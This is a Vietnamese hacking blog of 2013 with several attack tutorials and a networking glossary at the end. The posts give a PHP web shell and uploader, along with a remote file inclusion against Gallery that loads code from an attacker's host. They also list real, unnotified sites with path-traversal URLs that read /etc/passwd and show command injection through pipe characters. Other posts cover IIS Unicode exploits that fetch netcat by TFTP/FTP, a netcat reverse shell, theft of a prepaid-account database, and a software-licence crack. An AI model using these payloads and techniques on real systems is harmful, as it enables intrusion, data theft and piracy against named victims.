Thứ Bảy, 10 tháng 8, 2013

on Leave a Comment

PHP Code Injecttion

 


PHP Code Injection :
Không có cách học nào hay bằng thực hành trên ví dụ cụ thể, tớ sẽ hướng dẫn bạn cách khai thác php code inject trên một lỗi mới được phát hiện: Gallery code injection
1.Mô tả lỗi:
Gallery là một công cụ cho phép tạo một gallery ảnh trên web, được viết bằng PHP, bạn có thể tìm hiểu và download source tại trang chủ: http://gallery.menalto.com/ và xem báo cáo lỗi tại đây:
http://online.securityfocus.com/archive/1/285608/2002-07-26/2002-08-01/0.
Như đã được hướng dẫn, lỗi này có thể khai thác bằng cách tạo trước một file init.php tại địa chỉ http://your.evil.server.tdl/ rồi sau đó gọi đến url:
http://hostname/gallery/captionator.php?GALLERY_BASEDIR=http://your.evil.server.tdl/
Trong file init.php bạn có thể đặt code php để thực hiện mục đích của mình. Và mục đích của chúng ta là upload lên thư mục web của victim một file php có khả năng upload.
2. Chuẩn bị:
Bạn đăng ký một account host nào đó, hoặc sử dụng account có sẵn của bạn. Nên chọn host nào không hỗ trợ php vì như vậy khi gọi đến file php server sẽ trả lại toàn bộ code của file, còn nếu server hỗ trợ php thì bạn phải sử dụng echo thêm phần phức tạp.
Tớ thì thích dùng brinkster vì ở đây đăng ký nhanh gọn, upload bằng browser như vậy có thể hoàn toàn hack chỉ bằng browser mà thôi.
Bạn tạo 2 file như sau:

Code Sample

<?php
// shellphp.php * file này dùng để chạy shell trên victim host
global $PHP_SELF;
echo "<html><body>
<form method=post action=$PHP_SELF?$QUERY_STRING>
<input type=text name=shell size=40>
<input type=hidden name=act value=shell>
<input type=submit value=Go name=sm>
</form>";
set_magic_quotes_runtime(1);
if ($act == "shell") {
echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<xmp>";
system($shell);
echo "</xmp>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";}
echo "</body></html>";
?>

Code Sample

<?php
// upload.php * file này dùng để upload
function handleupload() {
if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$filename = $_FILES['userfile']['tmp_name'];
print "$filename was uploaded successfuly";
$realname = $_FILES['userfile']['name'];
print "realname is $realname\n";
print "copying file to uploads dir ".$realname;
copy($_FILES['userfile']['tmp_name'],*PATH*.$realname); // lưu ý *PATH* chúng ta sẽ thay đổi sau
} else {
echo "Possible file upload attack: filename".$_FILES['userfile']['name'].".";
}
}
if ($act == "upload") {
handleupload();
}
echo "<html><body>
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING>
File:<INPUT TYPE=FILE NAME=userfile SIZE=35>
<input type=hidden name=MAX_FILE_SIZE value=1000000>
<input type=hidden name=act value=upload>
<input type=submit value=Upload name=sm>
</form>
</body></html>";
?>

Bạn tạo thêm 1 file init.php với nội dung giống hệt file shellphp.php và upload lên site của bạn, ví dụ http://wwwxx.brinkster.com/you/
3. Xác định mục tiêu:
Bạn vào Google, gõ "Powered by gallery" rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery, tớ chọn một site http://zarabadoo.insane-asylum.com/gallery./ làm ví dụ. Thử xem nó đã sửa lỗi chưa bằng url: http://zarabadoo.insane-asylum.com/gallery./captionator.php?GALLERY_BASEDIR=http://wwwxx.brinkster.com/you/
Nếu thấy hiện lên như sau là bạn đã thành công bước đầu rồi đó:
image002
Chẳng cần quan tâm đến những thông báo lỗi phía dưới, bây giờ bạn đã có thể gõ lệnh vào text box và thực hiện nó trên host của victim.
4. Trinh sát:
Các file và thư mục trên host luôn được bảo vệ bằng cách kiểm tra quyền hạn của người sử dụng (bạn tham khảo các bài về unix, linux để biết thêm chi tiết). Mà mục đích của chúng ta là upload lên 1 file nên bây giờ phải tìm xem trên đó có chỗ nào cho phép ta ghi file, đồng thời file đó có thể được gọi đến qua http, tức là nằm trong một thư mục active web .
Đầu tiên bạn hãy xác định đường dẫn tuyệt đối đến thư mục hiện thời bằng lệnh pwd:
image004
Tiếp tục kiểm tra trên thư mục hiện thời: dùng lệnh ls –al ta sẽ có kết quả như sau:
image006
Để ý thấy thư mục classes cho phép ghi file, như vậy chúng ta hoàn toàn có thể upload một file lên thư mục /home/insane-/public_html/zarabadoo/gallery/classes/ của server rồi đấy.
5. Gửi tiền trạm:
Tiền trạm của chúng ta sẽ là file upload.php, sau khi có được file này thì chúng ta có thể upload được những công cụ mạnh hơn để khai thác thông tin.
Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như code của file upload.php, nhưng sửa lại *PATH* thành “/home/insane-/public_html/zarabadoo/gallery/classes/ ”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là "".
Rồi, chúng ta lại goi đến http://zarabadoo.insane-asylum.com/gallery./captionator.php?GALLERY_BASEDIR=http://wwwxx.brinkster.com/you/ một lần nữa, bạn sẽ thấy file upload hiện lên, chọn file upload.php trên máy của mình rồi upload, bạn sẽ có kết quả sau:
image008
Như vậy là bạn đã thành công trong việc gửi đội tiền trạm đến căn cứ của đối phương rồi đấy, bạn có thể gọi đến nó qua url http://zarabadoo.insane-asylum.com/gallery./classes/upload.php.
Từ bây giờ bạn hãy vận dụng hết mọi mánh khoé để tấn công đối thủ đi, upload backdoor, shell, rootkit, .. Bạn có thể Download con BackDoor Shell được viết bằng PHP tại đây : Shell.php (chú ý : khi chạy shell.php thì nó bắt nhập username và password, bạn gõ username là root còn password thì bỏ trống và Enter) 
image010
và thế là ..
image012
6. Kết luận:
Thực ra ví dụ mà tớ đưa ra rất đơn giản, và may mắn gặp được host server có bảo mật thấp. Bạn có thể gặp nhiều tên rắn mặt hơn nhiều, hãy phát huy sáng tạo đến mức tối đa.
Hơn nữa đây chỉ là ví dụ về hack Gallery, nhưng đó là phương pháp chung để khai thác lỗi php code injection. Lỗi này khá phổ biến, và sẽ còn tiếp tục được phát hiện thêm, hãy sử dụng phương pháp này một cách uyển chuyển, chắc chắn bạn sẽ thành công.
Bài viết của vnofear


Thứ Sáu, 9 tháng 8, 2013

on Leave a Comment

Web Hacking

 


Web Hacking, Brief Introduction :

Trong thời đại hiện nay khi internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các cuộc giao dịch buôn bán online. Vấn đề nảy sinh là khi phạm vi ứng dụng của các web application ngày càng phổ biến thì khả năng xuất hiện lỗi và bị tấn công càng cao. Trong các lĩnh vực hacking, hack web application là sân chơi khá lý thú cho những ai yêu thích computer security.
Thông thường, những bước cơ bản khi thực hiện hack web bao gồm như sau - các bước này không nhất thiết phải thực hiện tuần tự mà tùy vào điều kiện của chúng ta.
1. Thu thập thông tin ở mức trên về hạ tầng của mục tiêu
Bước này ta cần thu thập một số thông tin quan trọng như có bao nhiêu server, mô hình của các web server, các client nào sẽ tương tác với ứng dụng web, kiểu giao tiếp thông tin (transport) và thông qua các cổng (port) nào, những site liên quan đến việc thực hiện chức năng của site mục tiêu....
2. Khảo sát ứng dụng web
Ở đây tôi chỉ mô tả một trong những phương pháp khảo sát khá phổ biến từ trước đến giờ, đó là Xem mã nguồn và lợi dụng các lỗi cho phép xem mã nguồn.
Một số ngôn ngữ web thông dụng hiện nay có nhiều lỗi này như Active Server Pages (ASP), Common Gateway Interface (CGI), ColdFusion Server (CFM), Hypertext Preprocessor (PHP).
Bài viết này tôi chỉ đề cập đến 1 bug đã có từ lâu nhưng thấy vẫn còn nhiều site mắc phải, đó là lỗi liên quan đến CGI design cho phép view source và file system traversal. Hãy xem ví dụ sau:
http://www.earthdayalliance.org/index.cgi?page=contact.htm
Ở đây index.cgi được gọi với tham số truyền vào là trang contact.htm (HTML file) nó sẽ đọc và hiện nội dung của trang này lên client browser. Tuy nhiên nếu người viết cgi không kiểm tra kĩ lưỡng, ta có thể lợi dụng để xem chính nội dung của file index.cgi hay các trang khác. Ví dụ sau ta sẽ thay contact.htm bằng index.cgi:
http://www.earthdayalliance.org/index.cgi?page=index.cgi
Ở đây ta gặp 1 thông báo lỗi "error: No such file or directory /web/guide/earthdayalliance/www/content/index.cgi", nguyên nhân là thực tế index.cgi không nằm trong thư mục hiện hành (tức là ../www/content/) mà nằm ở www, do đó ta sẽ chỉnh lại link 1 chút bằng 1 dot dot slash, như sau:
http://www.earthdayalliance.org/index.cgi?page=/../index.cgi
Chạy link này ta sẽ thấy nội dung của index.cgi được show trên browser. Việc xem được source có thể giúp ta tìm hiểu kĩ càng hơn về web app, thậm chí nếu may mắn có thể xem được những thông tin quan trọng khác. Lệnh sau là 1 ví dụ dùng lỗi này để xem file etc/passwd trong unix server:
http://www.earthdayalliance.org/index.cgi?page=/../../../../../../../../../etc/passwd
Đây chỉ là 1 ví dụ nhỏ, còn khai thác hay hạn chế thế nào thì tùy khả năng của mỗi người.
Các bạn có thể tìm các site bị lỗi này bằng cách dùng www.google.com, search từ khóa liên quan, chẳng hạn như: "index.cgi?page="
Đây là vài link tôi tìm thấy, các bạn có thể tham khảo:
http://www.discountdata.com/index.cgi?page=index.cgi
http://home.no.net/danm2/freezeware/index.cgi?page=leecher.html
http://home.no.net/danm2/freezeware/index.cgi?page=/../../../../../../../../etc/passwd
http://itf.fys.kuleuven.ac.be/workshop2002/index.cgi?page=practical.htm
http://itf.fys.kuleuven.ac.be/workshop2002/index.cgi?page=/../../../../../../etc/passwd
http://www.resource.nl/uk/index.cgi?page=index.cgi
http://www.earthdayalliance.org/index.cgi?page=contact.htm
http://www.earthdayalliance.org/index.cgi?page=/../index.cgi
http://www.earthdayalliance.org/index.cgi?page=/../../../../../../../../../etc/passwd
http://www.nestingeagles.com/index.cgi?page=videoB.htm
http://www.nestingeagles.com/index.cgi?page=/../index.cgi
http://www.nestingeagles.com/index.cgi?page=/../../../../../../etc/passwd
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=Privacy_Policy.htm
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/../index.cgi
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/.././admin/configuration.pl
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/../../../../../../../etc/passwd
http://demo1.secmod.com/index.cgi?page=links.html
http://demo1.secmod.com/index.cgi?page=index.cgi
http://demo1.secmod.com/index.cgi?page=/../../../../../etc/passwd
http://www.vintagejournal.com/VJ0901/index.cgi?page=/../index.cgi
http://www.vintagejournal.com/VJ0901/index.cgi?page=home.htm
http://www.datadart.com/commercesql/index.cgi?page=STK%20Datasheets.html&car
http://www.datadart.com/commercesql/index.cgi?page=/../index.cgi
http://www.gatlinburggateway.com/index.cgi?&page=/../../../../../../etc/passwd
http://www.berkshire-is.com/index.cgi?page=news.html
http://www.berkshire-is.com/index.cgi?page=index.cgi
http://www.berkshire-is.com/index.cgi?page=/../../../../../etc/passwd
http://www.smokymtnarts-crafts.com/index.cgi?page=otto.htm
http://www.smokymtnarts-crafts.com/index.cgi?page=/../index.cgi
http://www.textileflags.com/cgi-bin/rock_flag_store/index.cgi?page=flagsbyname.html
http://www.textileflags.com/cgi-bin/rock_flag_store/index.cgi?page=/../index.cgi
http://www.randalloglegallery.com/index.cgi?page=about.htm
http://www.randalloglegallery.com/index.cgi?page=/../index.cgi
.....
Lưu ý các site trên chưa được thông báo về lỗi này.
3. Tấn công các web server

4. Tấn công vượt qua các cơ chế kiểm soát (authentication, authorization)
Bao gồm các phương pháp như đoán mật khẩu, làm việc - thay đổi thông tin cookies, các kĩ thuật directory traversal, leo thang đặc quyền, các phương pháp tấn công dựa vào SQL, SQL injection...
5. Tìm hiểu sâu về các chức năng của ứng dụng web
Tìm hiểu cách thực hiện của các phần trong ứng dụng, đặc biệt như các order input, confirmation, order tracking. Ở đây ta có thể áp dụng các phương pháp như SQL Injection, input validation...
6. Tìm hiểu luồng di chuyển của thông tin
Các thông tin tương tác giữa client và server, các thông tin tương tác với database. Hiện nay việc viết mã để thực hiện việc giao tiếp thông tin thường phải đảm bảo được tính hiệu quả (nhanh), và bảo mật (có thể sẽ chậm hơn). Thường thì tính hiệu quả được ưu tiên hơn do đó có thể sẽ phát sinh lỗi trong quá trình đó và giúp hacker có thể lợi dụng các lỗi như SQL input...để đoạt quyền điều khiển hệ thống.
7. Tấn công trang của người quản lý hệ thống

8. Tấn công client

9. Thực hiện tấn công từ chối dịch vụ Denial-of-Service (DoS)
Đây là cách cuối cùng khi các phương pháp trên không thực hiện thành công.
Phần này cần các bạn có kiến thức chút đỉnh về Unix.
Bước tiếp theo là khai thác khả năng command execution từ client browser thông qua HTTP port. Ở đây các bạn chú ý các kí tự đặc biệt hữu ích khi ta cần thực hiện lệnh trong URL, đó là: newline character (%0a), pipe (%7c), semicolon (%3b), ampersand (%26). Newline char cho phép ta ngắt các lệnh ra thành nhiều dòng khi thực hiện, dùng khi ta kết nhiều lệnh cùng trên cùng 1 dòng; pipe dùng để kết nối nhiều lệnh unix với nhau, tương tự với semicolon; ampersand thường dùng để ngăn cách các tham số truyền vào câu lệnh...Các bạn tự tìm hiểu kĩ hơn các thông tin này.
Tiếp theo vd ở post đầu, đó là: http://www.earthdayalliance.org/index.cgi?page=contact.htm
Bây giờ ta thử gọi 1 lệnh liệt kê thông tin thư mục của unix (ls):
http://www.earthdayalliance.org/index.cgi?page=|ls|
Ta sẽ thấy browser liệt kê ra các file, thư mục có trong thư mục hiện hành của trang web, đại khái như sau:
[badurl.htm contact.txt content count_file edcpressrelease.htm greentemplate.htm guestbook images index.cgi newtemplate.htm registercircle.txt search.html template.htm templates welcome.htm wwwboard ]
Nếu muốn biết rõ hơn về thông tin của file, như quyền hạn, ngày tháng...ta dùng lệnh ls -la, cụ thể URL sẽ là:
http://www.earthdayalliance.org/index.cgi?page=|ls+-la|
Một vd của việc khai thác tiếp theo: ta thấy thư mục wwwboard, đây là 1 dạng webforum đơn giản, ta xem thử nội dung thư mục này:
http://www.earthdayalliance.org/index.cgi?page=|ls%20wwwboard|
Ở đây ta sẽ thấy liệt kê ra content của forum này, trong đó có 1 file passwd.txt, ta muốn xem nội dung file này, chỉ việc thực hiện:
http://www.earthdayalliance.org/index.cgi?page=/../wwwboard/passwd.txt
Lưu ý ta thêm /../ phía trước vì muốn lùi 1 cấp trở về thư mục cha.
Thế là bạn vừa xem được pass admin của forum dạng này.
Đây là 1 thông tin tìm hiểu khác:
http://www.earthdayalliance.org/index.cgi?page=|ls%20/../../../../../etc+-la|
Liệt kê các user trong server này:
http://www.earthdayalliance.org/index.cgi?page=|ls+/../../.././web/guide+-al|
.....
Bước khai thác kế tiếp dành cho các bạn: Thực hiện nhiều câu lệnh, get shell... Chúc thành công.
Các công cụ có thể áp dụng trong web hacking các bạn có thể tìm hiểu ở trang:
http://www.hackingexposed.com/tools/tools.html
Một tài liệu nhỏ về web hacking khác (đây là tài liệu English, đọc bằng chương trình Microsoft powerpoint trong bộ Microsoft Office):
webhacking.zip
Title: Web Hacking - Brief Introduciton
Version: 1.0 build 26092002
Author: W_Hat
References: Hacking Exposed series, Web Hacking from FoundStone.com,
Constructing: Basic Hacking Methodologies
Bài viết của W_Hat

Thứ Năm, 8 tháng 8, 2013

on Leave a Comment

Kinh nghiem khi Hack Windows 2000 Server IIS 5.0

 


Kinh nghiệm khi Hack Windows 2000 Server IIS 5.0 :
Qua nghiên cứu cách upload/download file trên một số Server khi tìm cách hack website http://www.cantho1260.net/http://www.cantho.gov.vn/ sử dụng Windows 2000 Server chưa patch lỗi thì tôi nhận thấy có một số kinh nghiệm sau đây xin viết vài dòng để chia sẻ cùng với anh em và nếu có thiếu xót xin bổ sung cho. Để Upload netcat lên dùng TFTP thì đơn giản, nhưng trước tiên chúng ta phải cài TFTP server trên system (203.162.30.219). Sau đó cho thi hành các lệnh sau đây trên system của Victim bằng cách dùng một số lỗi như System Traversal của Unicode Exploit chẳng hạn:
GET /scripts/..%c0%af…/winnt/system32/tftp.exe?”-1”+203.162.30.219+GET+nc.exe C:\nc.exe HTTP/1.0
Ví dụ trên sẽ trỏ đến C:\ vì đây là thư mục mà ai cũng có thể Write vào được không có Permit phải là Admin hay không. Nếu Netcat đã có sẵn bạn sẽ nhận được một thông báo là “tftp.exe: can’t write to C:\nc.exe”, nhưng nếu thành công thì Browser sẽ trả về lỗi “HTTP 502 Gateway Error” và một Message là: “ Transfer successful: 59392 byte in x second, 59392 bytes/3s.” Dùng FTP thì hơi nhọc công hơn vì phải qua một trung gian, hãy tạo một file tên gì cũng được trên máy Victim để dùng FTP script với command là –s: [filename] sau đó Script sẽ giúp cho FTP Clien connect đến máy chúng ta để download netcat về local của Host. Trước khi tạo file này chúng ta chắc chắn là sẽ bị cản trở. Và để vượt qua thì có một mẹo nhỏ là hãy copy đổi tên file cmd.exe thành một tên khác trước đã.
GET /scripts/..%c0%af.../winnt/system32/cmd.exe?+/c+copy+c:\winnt\system32\cmd.exe+c:\aclatinh.exe HTTP/1.0
OK! File cmd.exe bây giờ đã được copy sang một bản khác có tên là aclatinh.exe, bây giờ chúng ta lại phải ghi vào C:\ vì như đã nói là đây là nơi mà bất cứ ai cũng có thể write vào. Bây giờ phải tạo một file FTP script bằng cách dùng lệnh echo. Sau đây là một nội dung của một file Script, chúng ta sẽ chọn tên file là ftpaclatinh và username của FTP là anonymous, password là a@a.com, FTP server là 192.168.2.31.
GET /scripts/...%0c%af../aclatinh.exe?+/c+echo+anonymous>C:\ftpaclatinh&&echo+a@a.com>C:\ftpaclatinh&echo+bin>>C:\ftpaclatinh&&echo+get+test.txt+C:\nc.exe>>C:\ftpacla tinh&&echo+Bye>>C:\ftpaclatinh&&ftp+s:C:\ftpaclatinh+192.168.234.31&&del+C:\ftpaclatinh
OK! Sau khi thực hiện script trên nó sẽ copy netcat đến C:\ trên Server và xóa luôn file script ftpaclatinh để tránh bị phát hiện. Nhưng lưu ý là từ dòng thứ 2 phải dùng “>>”để bố sung thêm vào ftpaclatinh chứ không phải là “>”.
_ Tạo file bằng lệnh echo: Dĩ nhiên là nếu FTP và TFTP không có sẵn, trường hợp này chỉ xảy ra đối với một số admin có tính “tào tháo” hay bị Block bởi firewall chẳng hạn thì chúng ta phải dùng lệnh Echo để gõ từng dòng lệnh vào ví dụ như là nội dung của file cmd.asp chẳng hạn thì cách làm như sau: để tạo file thì gõ vào “echo nộidung > c:\tenfile & vol” và để thêm nội dung vào file trên thì gõ vào: echo nộidung >> c:\tenfile & vol và cứ thế tuy lâu nhưng còn hơn không làm được gì. Và một hacker có tên là Relof Temmingh cũng có viết sẵn một Scritp cho Unicode Exploit dưới dạng ngôn ngữ Perl có tên là “cgidecodeloader.pl” cũng dùng cách echo và gián tiếp để tạo ra 2 file là upload.asp và upload.inc cho phép upload dựa trên Browser thuận tiện (và ông ta cũng có viết một Script là “unicodeexcute.pl” cho phép hacker thi hành lệnh từ xa). Dùng unicodeloder.pl thì trước tiên phải chắc chắn là hai file upload.asp và upload.inc phải có cùng trong thư mục chứa file unicodeloader.pl và cần xác định thư mục nào của Server cho phép Writable và excutable đã thường thì nó là C:\intetpub\scripts, là default khi install Windows2000.
C:\>Perl unicodeloader.pl
Usage: unicodeloader IP:port webroot
C:\>Perl unicodeloader.pl cantho1260.net:80 C:\inetpub\scripts
Creating uploading webpage on victim.com on port 80.
The webroot is C:\inetpub\scripts.
testing directory /scripts/..%c0%af../winnt/system32/cmd.exe?/c
farmer brown directory: c:\inetpub\scripts
'-au' is not recognized as an internal or external command,
operable program or batch file.
sensepost.exe found on system
uploading ASP section:
..............
uploading the INC section: (this may take a while)
.................................................................................
upload page created.
Now simply surf to caesars/upload.asp and enjoy.
Files will be uploaded to C:\inetpub\scripts
Và chúng ta hãy khảo xác cách nó làm việc. Trước tiên nó sẽ copy cmd.exe thành một file có tên là “sensepost.exe” đến thư mục đã xác định là Webroot, ở đây là C:\Intetpub\scripts\ sau đó nó bypass qua cmd.exe gián tiếp (“>”) qua exploit . và sensepost.exe được dùng để echo và gián tiếp 2 file upload.asp va upload.inc từng dòng mã một trong hai file để vào thư mục Wroot (ở đây là C:\Inetpub\script) và bây giờ thì hai file trên đã có mặt trên Server chỉ cần trỏ Browser đến đó để upload cmd.asp và ntdaddy.asp mà thôi.
http://www.cantho1260.net/scripts/upload.asp
http://www.cantho1260.net/scripts/cmdasp.asp
Khi đã Upload Netcat (nc.exe) rồi thì chúng ta sẽ cho netcat listen trên máy của mình:
C:\nc.exe –l –p 2002
Và sau đó dùng lại dùng cmd để shovel Netcat listenning trở về máy ta bằng cách thi hành Netcat trên Server thông qua Cmd.asp qua Browser:
C:\inetpub\scripts\nc.exe –v –e cmd.exe cantho1260.net 2002
Tuy thế nhưng tôi chỉ kịp download về mỗi một file Access chứa account prepaid thôi thì Server nó đã Fix lại rồi. Đến nay thì file đó cũng bị Broke hư mất khi defrag đĩa cứng! Uổng quá!
Bài viết của Aclatinh

Thứ Sáu, 2 tháng 8, 2013

on Leave a Comment

Căn bản về Cracking...

Đây là bài viết hướng dẫn newbie về cách "làm thế nào để crack một chương trình". Vì vậy, nội dung rất đơn giản, nếu có "cao thủ" nào "bức xúc" về nội dung bài viết thì xin vui lòng bỏ quá cho :)
Cách dễ nhất để crack là dùng 2 công cụ chính :
Win32Dasm, HView... bộ óc, Coca Cola và âm nhạc 8-).
Giải thích công dụng :
W32Dasm : Công cụ dùng để disassembler một file ra mã máy. Nó còn được dùng để hiểu xem chương trình này làm cái "quái" gì trong đó.
HView : Khi đã biết được nơi cần patch trong file, bạn có thể dùng công cụ hữu ích này.
Vì đây là cách đơn giản nhất để crack chương trình nên không phải tất cả các chương trình đều có thể crack được mà khoảng 40% chương trình sẽ được patch bằng cách này 8-).

on 1 comment

Crack Ev Tran

Cracker : Ngô Vĩnh Hoàng

Phần mềm : EVTRAN Standard v2.0

File cần Crack: evtran.exe
Công cụ Crack : SoftIce (mọi version)
EVTRAN là một phần mềm có thể giúp người dùng dich một văn bản tiếng Anh sang tiếng Việt sau dó có thể save lại dưới dạng file text, cộng thêm nhiều tính năng khác như kiểm tra chính tả và một kho từ điển có sẵn...Nhưng phiên bản chưa đăng kí thì không chịu dịch khi bạn ấn vào nút Translate và buộc người dùng phải dăng kí phiên bản chính thức mới được dùng - dĩ nhiên là phải trả tiền - với giá ở trên trời ( tôi không nói ra ở đây vì sợ các bạn "ngất" khi biết giá của nó). Nhưng 99,99% người sử dụng đều không muốn và họ muốn được quyền sử dụng tiếp... Chỉ có một cách duy nhất để làm được điều đó là Crack chương trình này.
Và bấy giờ chúng ta bắt đầu Crack :
EVTRAN Standard v2.0 có 2 bản ( không hiểu sao như vậy ??) một bản có bộ setup 74M và 114M, tôi chỉ có bộ 114M nên dành dùng nó vậy.
Bạn chạy EVTRAN Standard v2.0 thì một cái pop up bắn ra giữa màn hình bắt đăng kí, nếu bạn chọn nút " Đăng kí sau" thì khi định dịch thì ấn vào nút Translate thoải mái đi thì văn bản đó vẫn cứ trơ trơ - mèo lại hoàn mèo, Việt Nam vẫn hoàn Việt Nam, vì vậy bạn phải đánh các thông số vào:
ở đây tôi đánh : Serial Number : 123456 thì được chương trình trả lại thông số sau là User Code : 2970838044 và nhiệm vụ của ta là phải tìm được cái Return Code là gì ?? tôi đánh Return Code : 78910 (dĩ nhiên là không được rồi).
OK, nếu bạn ấn nút "Đăng ký" thì sẽ nhận được thông báo "Return Code ...." , nên ta chưa ấn OK vội bây giờ vào SoftIce (cách cài SI xem ở bài khác), ấn Ctrl_D
- Đánh bpx getwindowtexta, Enter, F5 (thoát khỏi SoftIce) bây giờ ấn nút "Đăng ký" được rồi và boom boOooom ta lại vào SoftIce, bạn ấn F12 để đến doạn code goi hàm getwindowtexta.
- Bây giờ là công việc năng nhọc nhất là tìm địa chỉ @offset chứa số Return Code , thôi để cho đỡ tốn thời gian bạn đánh luôn vào trong SoftIce lệnh : bpx 44F6BC , Enter, F5 (để thoát khỏi SoftICe). Và booom thông báo lỗi hiện ra "Return Code error" , OK cứ mặc kệ nó bận ấn nút OK để dăng ký lại.
-  ấn nút "Đăng ký" một lần nữa và Booooooooom boOoooooom, ta lại vào SoftIce , ở ngay địa chỉ 44F6BC mà ta vừa set breakpoint ở trên, OK bạn sẽ thấy dòng sau :
0044F6BC 6633D0 xor edx,ecx=====> edx : cất Return Code của bạn vào.
- OK bây giờ moi việc đã trở nên dễ dàng rồi, trong SoftIce bạn đanh : ?edx
- và booOooooooooooom số Return Code sẽ hiện lên ngay trước mắt bạn như "một vầng hào quang chói lọi" :). ở đây tôi có số Return Code là 16408063
- Như vậy tôi có các thông số sau:
Serial : 123456
User Code : 2970838044
Return Code : 16408063
- OK, EVTRAN v2.0 bây giỡ sẽ là của bạn và dịch rất thoải mái (dù chất lượng dịch không tốt lắm).
Email: nvhxe@yahoo.com
on Leave a Comment

Hack FAQ

Bản tóm tắt này không có sẵn. Vui lòng nhấp vào đây để xem bài đăng.
on Leave a Comment

Thuật ngữ mạng

Một số thuật ngữ về mạng :
AAL: (ATM Adaptation Layer). Một phần của các giao thức chuẩn ATM.
ABR:. Available Bit Rate, một tham số cho dịch vụ trong ATM mà không bảo đảm cho tốc độ.
. Area Border Router, một quy ước trong OSPF cho một bộ định tuyến để thông tin liên lạc với vùng khác.
ACK: Viết tắt của từ Acknowledgement
ACK implosion: Để chỉ môt vấn đề mà có thể xảy ra với giao thức mutilcast đáng tin cậy, trong đó có nhiều ACK đi ngược trở về nguồn.
AH: (Authentication Header).Một phần đầu được sử dụng bởi IPsec để đảm bảo việc xác minh nguồn gốc của datagram.
ANSNET:.Một mạng diện rộng mà đã hình thành nên backbone của Internet cho đến năm 1995.
ARP: (Address Resolution Protocol). Giao thức TCP/IP được sử dụng để liên kết động một địa chỉ IP cấp cao vào một địa chỉ phần cứng cấp thấp.
AS: (Autonomous System). Một tập hợp cac bộ định tuyến và các mạng thuộc về một đơn vị quản trị và hợp tác chặt chẽ với nhau để nhân bản thông tin về khả năng đi đến các mạng (và thông tin định tuyến) giữa chúng với nhau, sử dụng giao thức cổng nội.
ASN-1: (Abstract Syntax Notation - 1). Giao thức chuẩn ISO được sử dụng bởi SNMP để thể hiện các thông điệp.
ATM: (Asynchronous Transfer Mode). Một kỹ thuật mạng định hướng kết nối mà sử dụng những cell nhỏ có kích thước cố định ở mức thấp nhất. ATM có ưu điểm về khả năng hỗ trợ dữ liệu thoại và video.
ATM Adaptation Layer (ALL):. Một trong số các giao thức được định nghĩa cho ATM để xác định cách một chương trình ứng dụng gửi và nhận thôgn tin qua mạng ATM.
ATMARP: Giao thức mà một máy sử dụng cho việc giải địa chỉ khi gửi IP qua mạng ATM.
AUI: Bộ kết nối đươc sử dung cho Ethernet dây dày.
BGP: ( Border Gateway Protocol)
Một kỹ thuật cổng ngoại chủ yếu, được sử dụng trong Internet.
BootTP: (BootStrap Protocol), một giao thức máy tính sử dụng để lấy thông tin khởi động từ server, bao gồm địa chỉ IP của nó.
CBT: (Core Based Tress)
Giao thức định tuyến multicast do nhu cầu điều khiển mà xây dựng nên cây dùng chung.
CGI: (Common Gateway Interface)
Một kỹ thuật mà server sử dụng để tạo trang Web tự động khi nhận được yêu cầu.
CIDR: (Classless Inter-Domain Routing)
Là chuẩn xác định các chi tiết của cả  hai việc định địa chỉ không phân lớp  cũng như mô hình định tuyến tương ứng.
COPS: (Common Open Policy Service)
Giao thức được sử dụng với RSVP để kiểm chứng xem lời yêu cầu có thoả mãn các chính sách ràng buộc.
DHCP: (Dynamic Host Configuration Protocol)
Một giao thức mà máy sử dụng để lấy dược tất cả thông tin cấu hình cần thiết, bao gồm cả địa chỉ IP.
DNS: (Domain Name System)
Hệ cơ sở dữ liệu phân bố trực tuyến được sử dụng để ánh xạ các tên máy thông dụng đối với con người thành các địa chỉ IP.
DVMRP: (Distance Vector multicast Routing Protocol)
Một giao thức được sử dụng để nhân bản các tuyến đường multicast.
EGP: (Exterior Gateway Protocol)
Một thuật ngữ áp dụng cho giao thức nào được sử dụng bởi bộ định tuyến trong một hệ tự quản để thông báo khả năng đi đến mạng cho ho bộ định tuyến trong hệ tự quản khác.
FIN:  Một segment TCP đặc biệt được dùng để đóng một kết nối.
FTP: (File Transfer Protocol)
Chuẩn TCP/IP, giao thức cấp cao cho việc truyền tập tin từ máy này đến máy khác.